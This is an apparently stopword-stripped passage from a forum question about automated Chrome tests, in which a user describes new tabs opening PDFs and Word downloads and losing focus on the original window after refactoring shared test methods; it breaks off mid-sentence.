short version: new tabs in chrome prevent old tabs being used, fixing means opened tabs pdfs in them reused before human can examine pdfs. long version: worked this: open new chrome window main page of app (tab #1) 2.[do process , then] click button , new tab (tab #2) opens pdf in it. go tab #1 [do process b , then] click button , new tab (tab #3) opens pdf b in it. go tab #1 [do process c , then] click button , new tab (tab #4) opens , word document c document gets downloaded. go tab #1 [do process d , then] click button , new tab (tab #5) opens , word document d document gets downloaded. all tabs stay open , pdfs can viewed. not perfect, workable. but things changed. pulled used stuff out, put them in methods in file of various tests use them, seemed idea. seems have caused problems losing focus on original window. (i may wrong) i'm stuck with: open new chrome window main page of app (tab #1) [do process , then] click button , new tab (tab #2) opens pdf in i